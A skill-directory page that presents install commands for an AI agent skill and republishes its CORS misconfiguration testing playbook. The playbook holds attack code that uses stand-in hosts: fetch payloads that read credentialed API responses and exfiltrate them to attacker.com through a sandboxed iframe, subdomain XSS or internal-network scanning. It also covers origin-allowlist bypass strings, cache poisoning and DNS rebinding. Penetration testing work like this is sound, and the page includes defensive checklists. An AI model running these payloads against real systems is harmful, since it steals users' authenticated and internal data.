Strix Code Vulnerability Scan
usestrix/strix
Runs a Strix white-box security review that reads the source, then exploits what it finds in a sandbox so each reported issue has a proof-of-concept.
CORS misconfiguration testing playbook. An agent skill from yaklang/hack-skills.
$ npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration -a claude-codeProject install by default; add -g for ~/.claude/skills/.
$ gh skill install yaklang/hack-skills cors-cross-origin-misconfiguration --agent claude-codeProject scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/cors-cross-origin-misconfiguration .claude/skills/cors-cross-origin-misconfiguration && rm -rf skills-srcUse ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.
Claude Code skills documentation · loads skills from .claude/skills/
Install the "cors-cross-origin-misconfiguration" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/cors-cross-origin-misconfiguration into .claude/skills/cors-cross-origin-misconfiguration/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "cors-cross-origin-misconfiguration", then confirm the skill loads.Claude Code copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$skill-installer install https://github.com/yaklang/hack-skills/tree/main/skills/cors-cross-origin-misconfigurationType this inside Codex. $skill-installer <name> installs a curated skill from openai/skills. The installer writes to $CODEX_HOME/skills (default ~/.codex/skills). Restart Codex if the skill does not show up.
$ npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration -a codexProject install goes to .agents/skills/; add -g for ~/.codex/skills/.
$ gh skill install yaklang/hack-skills cors-cross-origin-misconfiguration --agent codexProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .agents/skills && cp -r skills-src/skills/cors-cross-origin-misconfiguration .agents/skills/cors-cross-origin-misconfiguration && rm -rf skills-srcUse ~/.agents/skills/ instead of .agents/skills for a personal install.
Codex skills documentation · loads skills from .agents/skills/
Install the "cors-cross-origin-misconfiguration" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/cors-cross-origin-misconfiguration into .agents/skills/cors-cross-origin-misconfiguration/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "cors-cross-origin-misconfiguration", then confirm the skill loads.Codex copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration -a cursorProject install goes to .agents/skills/; add -g for ~/.cursor/skills/.
$ gh skill install yaklang/hack-skills cors-cross-origin-misconfiguration --agent cursorProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .cursor/skills && cp -r skills-src/skills/cors-cross-origin-misconfiguration .cursor/skills/cors-cross-origin-misconfiguration && rm -rf skills-srcUse ~/.cursor/skills/ instead of .cursor/skills for a personal install.
Cursor skills documentation · loads skills from .cursor/skills/, .agents/skills/, .claude/skills/, .codex/skills/
Install the "cors-cross-origin-misconfiguration" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/cors-cross-origin-misconfiguration into .cursor/skills/cors-cross-origin-misconfiguration/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "cors-cross-origin-misconfiguration", then confirm the skill loads.Cursor copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gemini skills install https://github.com/yaklang/hack-skills.git --path skills/cors-cross-origin-misconfiguration--scope user (default) or --scope workspace; --path is the subfolder of the repo that holds the skill; --consent skips the security confirmation prompt.
$ npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration -a gemini-cliProject install goes to .agents/skills/; add -g for ~/.gemini/skills/.
$ gh skill install yaklang/hack-skills cors-cross-origin-misconfiguration --agent gemini-cliProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .gemini/skills && cp -r skills-src/skills/cors-cross-origin-misconfiguration .gemini/skills/cors-cross-origin-misconfiguration && rm -rf skills-srcUse ~/.gemini/skills/ instead of .gemini/skills for a personal install, then run /skills reload.
Gemini CLI skills documentation · loads skills from .gemini/skills/, .agents/skills/
Install the "cors-cross-origin-misconfiguration" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/cors-cross-origin-misconfiguration into .gemini/skills/cors-cross-origin-misconfiguration/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "cors-cross-origin-misconfiguration", then confirm the skill loads.Gemini CLI copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ gh skill install yaklang/hack-skills cors-cross-origin-misconfigurationInstalls for Copilot at project scope by default; add --scope user for a personal install. Preview a skill first with gh skill preview. Needs GitHub CLI 2.90.0 or later (public preview).
$ npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration -a github-copilotProject install goes to .agents/skills/; add -g for ~/.copilot/skills/.
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .github/skills && cp -r skills-src/skills/cors-cross-origin-misconfiguration .github/skills/cors-cross-origin-misconfiguration && rm -rf skills-srcUse ~/.copilot/skills/ instead of .github/skills for a personal install. Commit .github/skills so cloud agent and code review can use it.
GitHub Copilot skills documentation · loads skills from .github/skills/, .claude/skills/, .agents/skills/
Install the "cors-cross-origin-misconfiguration" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/cors-cross-origin-misconfiguration into .github/skills/cors-cross-origin-misconfiguration/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "cors-cross-origin-misconfiguration", then confirm the skill loads.GitHub Copilot copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
$ npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration -a opencodeOpenCode documents no install command of its own. Project install goes to .agents/skills/; add -g for ~/.config/opencode/skills/.
$ gh skill install yaklang/hack-skills cors-cross-origin-misconfiguration --agent opencodeProject scope by default (.agents/skills/); add --scope user for a personal install.
$ git clone --depth 1 https://github.com/yaklang/hack-skills.git skills-src && mkdir -p .opencode/skills && cp -r skills-src/skills/cors-cross-origin-misconfiguration .opencode/skills/cors-cross-origin-misconfiguration && rm -rf skills-srcUse ~/.config/opencode/skills/ instead of .opencode/skills for a personal install.
OpenCode skills documentation · loads skills from .opencode/skills/, .claude/skills/, .agents/skills/
Install the "cors-cross-origin-misconfiguration" agent skill from https://github.com/yaklang/hack-skills/tree/main/skills/cors-cross-origin-misconfiguration into .opencode/skills/cors-cross-origin-misconfiguration/ in this project. Copy the whole folder (SKILL.md and every file beside it), keep the folder name "cors-cross-origin-misconfiguration", then confirm the skill loads.OpenCode copies the folder itself, the same result as the manual copy. Check what it changed before you commit it.
cors-cross-origin-misconfigurationCORS misconfiguration testing playbook. An agent skill from yaklang/hack-skills.
Cors Cross Origin Misconfiguration is an agent skill from yaklang/hack-skills. CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, preflight policy bugs, and browser-based access to authenticated APIs.
Its SKILL.md is about 2.4k tokens, which your agent loads only when the skill is triggered. The skill folder holds 1 other file (for example `SCENARIOS.md`).
It sits in Security, covering Web application vulnerabilities and Penetration testing. The repository describes itself as: Helping AI Agent become an awesome practical hacker! The licence is MIT.
9 steps, taken from the step headings in SKILL.md.
Read from SKILL.md and the folder at commit 6fbf0bc. It shows what the files ask for, not the result of running them.
Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.
From allowed-tools in the SKILL.md frontmatter.
Shell commands in SKILL.md call:
curlFrom the folder's file list and the shell code blocks in SKILL.md.
Hosts in commands or code, which the agent is likely to contact:
attacker-target.comnottarget.comattackertarget.comFrom URLs in SKILL.md, links to its own repository left out.
Names no API keys, tokens, secrets or passwords.
From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.
Cors Cross Origin Misconfiguration loads about 2.4k tokens when it runs. Until then it costs about 58 tokens; SKILL.md has 606 words of instructions outside code blocks.
Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.
The automated check found no risky patterns in SKILL.md.
Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); files beside SKILL.md are not scanned.
The full file from yaklang/hack-skills at commit 6fbf0bc, republished under its MIT licence (© yaklang). 606 words, ~2,390 tokens.
.claude/skills/cors-cross-origin-misconfiguration/SKILL.md (or your agent's skills folder). This skill also uses 1 other file; get the full folder from GitHub.AI LOAD INSTRUCTION: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion SCENARIOS.md.
Also load SCENARIOS.md when you need:
<script> cross-origin data theftdocument.domain subdomain relaxation and its security riskscredentials: include, null origin via sandboxed iframeLoad when:
Access-Control-Allow-Origin, Access-Control-Allow-Credentials, or preflight headers| Theme | What to Check |
|---|---|
| wildcard with credentials | Access-Control-Allow-Origin: * plus credential support or equivalent broken behavior |
| reflected origin | server echoes arbitrary Origin |
| weak allowlist | suffix, prefix, substring, regex, or mixed-case matching errors |
null origin | acceptance of sandboxed, file, or serialized origins |
| preflight trust | overbroad methods and headers |
| internal API exposure | admin or tenant data readable cross-origin |
Origin headers and inspect reflection.Origin: null is sent| Context | Origin Header Value |
|---|---|
Sandboxed iframe (<iframe sandbox>) | null |
data: URI scheme | null |
file: protocol (local HTML) | null |
| Cross-origin redirect chain (some browsers) | null |
Serialized data in blob: URL from opaque origin | null |
If the server includes null in its origin allowlist or reflects it:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
</script>
"></iframe>The sandboxed iframe sends Origin: null → server reflects null → attacker reads credentialed response.
1. Target API at api.target.com allows CORS from *.target.com
2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
3. Exploit XSS to make credentialed requests to api.target.com
4. CORS allows the request → attacker reads sensitive API responsesfetch('https://api.target.com/v1/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify(data));
});blog.target.com is same-site with api.target.com → SameSite cookies sent*.target.com → Access-Control-Allow-Origin: https://blog.target.com□ Enumerate subdomains (amass, subfinder, crt.sh)
□ Test each for XSS (stored, reflected, DOM)
□ Check if API CORS accepts subdomain origins
□ Subdomain takeover candidates also qualifyWhen the server reflects Origin in Access-Control-Allow-Origin but does not include Vary: Origin in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins:
1. Attacker requests: Origin: https://attacker.com
Response cached with: Access-Control-Allow-Origin: https://attacker.com
2. Victim requests same URL (no Origin or different Origin)
Cache serves response with: Access-Control-Allow-Origin: https://attacker.com
→ Victim's browser allows attacker.com to read the response (CORS cache poisoning)# Request 1: with attacker origin
curl -H "Origin: https://evil.com" https://target.com/api/data -I
# Request 2: with legitimate origin
curl -H "Origin: https://target.com" https://target.com/api/data -I
# Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
# → cache poisoned, Vary: Origin is missing1. Warm the cache: send request with Origin: https://attacker.com
2. Wait for victim to access the same cached URL
3. Cached ACAO header allows attacker.com to read the response
4. Attacker page fetches the URL → reads cached response with credentials□ Response includes Vary: Origin
□ Cache key includes the Origin header
□ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)Common flawed regex patterns for origin validation:
| Intended Pattern | Flaw | Bypass Origin |
|---|---|---|
^https?://.*\.target\.com$ | .* matches anything including - | https://attacker-target.com |
^https?://.*target\.com$ | Missing anchor after subdomain | https://nottarget.com, https://attacker.com/.target.com |
target\.com (substring match) | No anchors | https://attacker.com?target.com |
^https?://(.*\.)?target\.com$ | Missing port restriction | https://target.com.attacker.com:443 |
^https://[a-z]+\.target\.com$ | Missing end anchor for path | N/A (but misses subdomains with - or digits) |
| Backtracking-vulnerable regex | ReDoS | https://aaaa...aaa.target.com (CPU exhaustion) |
https://attacker.com/.target.com
https://target.com.attacker.com
https://attackertarget.com
https://target.com%60attacker.com
https://target.com%2F@attacker.com
https://attacker.com#.target.com
https://attacker.com?.target.com
nullhttps://target.com → https://ⓣarget.com (Unicode homoglyph)Some origin validators normalize Unicode after comparison, while the browser sends the original — or vice versa.
An internal-only API (e.g., http://192.168.1.100:8080/admin) is configured with:
Access-Control-Allow-Origin: *Internal APIs often use wildcard CORS because "only internal users can reach it."
1. Attacker sends victim (internal employee) a link to attacker.com
2. Attacker page JavaScript fetches internal API:
fetch('http://192.168.1.100:8080/admin/users')
3. CORS allows * → response readable
4. Exfiltrate internal data to attacker server// On attacker.com — target internal API from victim's browser
const internalAPIs = [
'http://192.168.1.1/admin/config',
'http://10.0.0.1:8080/api/users',
'http://172.16.0.1:9200/_cat/indices', // Elasticsearch
'http://localhost:8500/v1/agent/members', // Consul
];
internalAPIs.forEach(url => {
fetch(url)
.then(r => r.text())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify({url, data}));
})
.catch(() => {});
});Even without Access-Control-Allow-Origin: *, the attacker can infer internal service availability:
1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)
2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)
3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)
4. JavaScript on the page fetches attacker.com/admin → now hits internal server
5. Same-origin policy satisfied (same domain) → response readable© yaklang, MIT. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file
SKILL.md and 1 other file in skills/cors-cross-origin-misconfiguration of yaklang/hack-skills.
Open the folder on GitHubat commit 6fbf0bc
Cors Cross Origin Misconfiguration next to the 5 skills that share the most tags, products or categories with it. Stars are the repository's; “used in” counts other GitHub owners with a copy.
| Skill | Stars | Used in | Tokens | Auto-check | Licence | Repo updated |
|---|---|---|---|---|---|---|
| Cors Cross Origin Misconfiguration this skillyaklang/hack-skills | 2.4k | — | ~2.4k | Automated safety check: Pass | MIT | |
| Strix Code Vulnerability Scanusestrix/strix | 68k | — | ~1.1k | Automated safety check: Pass | Apache-2.0 | |
| Code Audit3stoneBrother/code-audit | 892 | 1 repos | ~2.7k | Automated safety check: Pass | None | |
| Fix Strix Security Findingsusestrix/strix | 68k | — | ~1.5k | Automated safety check: Pass | Apache-2.0 | |
| Wooyun Legacytanweai/wooyun-legacy | 1.8k | — | ~1.9k | Automated safety check: Pass | Custom licence | |
| OWASP Top 10 Testing with Strixusestrix/strix | 68k | — | ~1.6k | Automated safety check: Pass | Apache-2.0 |
usestrix/strix
Runs a Strix white-box security review that reads the source, then exploits what it finds in a sandbox so each reported issue has a proof-of-concept.
3stoneBrother/code-audit
Professional code security audit skill covering 55+ vulnerability types.
usestrix/strix
Triages findings from a Strix pentest by severity, fixes each root cause with a minimal change, and re-runs Strix to confirm the exploit no longer works.
tanweai/wooyun-legacy
WooYun business logic vulnerability methodology — 22,132 real cases across 6 domains (authentication bypass, authorization bypass, payment tampering, information disclosure, logic flaws…
usestrix/strix
Runs Strix's autonomous exploit agents against each OWASP Top 10:2025 category and the API Security Top 10, reporting only what could actually be proven with a proof-of-concept.
awarexone/Agentic-Bug-Hunter
Recovers a client-side request signature or anti-bot token just far enough to replay blocked requests in bug bounty testing, starting from a captured packet.
yaklang/hack-skills
Anti-debugging detection and bypass playbook. An agent skill from yaklang/hack-skills.
yaklang/hack-skills
API authentication and JWT abuse playbook. An agent skill from yaklang/hack-skills.
yaklang/hack-skills
API authorization and BOLA testing playbook. An agent skill from yaklang/hack-skills.
yaklang/hack-skills
API reconnaissance and documentation review playbook. An agent skill from yaklang/hack-skills.
yaklang/hack-skills
Draw a testable attack surface from one authorized target URL or one application.
yaklang/hack-skills
Classical cipher analysis playbook. An agent skill from yaklang/hack-skills.
Categories
CORS misconfiguration testing playbook. An agent skill from yaklang/hack-skills. Cors Cross Origin Misconfiguration is an agent skill from yaklang/hack-skills. CORS misconfiguration testing playbook.
Cors Cross Origin Misconfiguration fits situations like: analyzing cross-origin trust; credentialed browser reads; origin reflection; preflight policy bugs.
Run `npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration -a claude-code`. Or copy the skill folder (skills/cors-cross-origin-misconfiguration in yaklang/hack-skills) into .claude/skills/cors-cross-origin-misconfiguration in your project. Claude Code loads it when a task matches its description.
Run `npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration -a codex`. Or copy the skill folder (skills/cors-cross-origin-misconfiguration in yaklang/hack-skills) into .agents/skills/cors-cross-origin-misconfiguration in your project. Codex loads it when a task matches its description.
Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add yaklang/hack-skills --skill cors-cross-origin-misconfiguration -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/cors-cross-origin-misconfiguration, .gemini/skills/cors-cross-origin-misconfiguration, .github/skills/cors-cross-origin-misconfiguration and .opencode/skills/cors-cross-origin-misconfiguration in your project.
Going by SKILL.md and its folder, Cors Cross Origin Misconfiguration needs the command-line tools its instructions call (curl).
SKILL.md names 3 domains. In commands or code: attacker-target.com, nottarget.com and attackertarget.com; the agent is likely to contact these when it follows the instructions. This is read from the text; nothing was executed.
Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. Review the folder before installing.
Cors Cross Origin Misconfiguration is published under the MIT licence (the repository's licence). It allows redistribution, so the full SKILL.md is shown on this page.
About 2.4k tokens (SKILL.md is roughly 9.6k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full.
Skills that share tags, products or a category with Cors Cross Origin Misconfiguration: Strix Code Vulnerability Scan (usestrix/strix, 68k stars), Code Audit (3stoneBrother/code-audit, 892 stars), Fix Strix Security Findings (usestrix/strix, 68k stars) and Wooyun Legacy (tanweai/wooyun-legacy, 1.8k stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.
yaklang (a GitHub organization) maintains it in yaklang/hack-skills, which has 2,418 GitHub stars. The repository holds 27 skills in this directory. The repository was last updated on September 13, 2026.
Source: yaklang/hack-skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.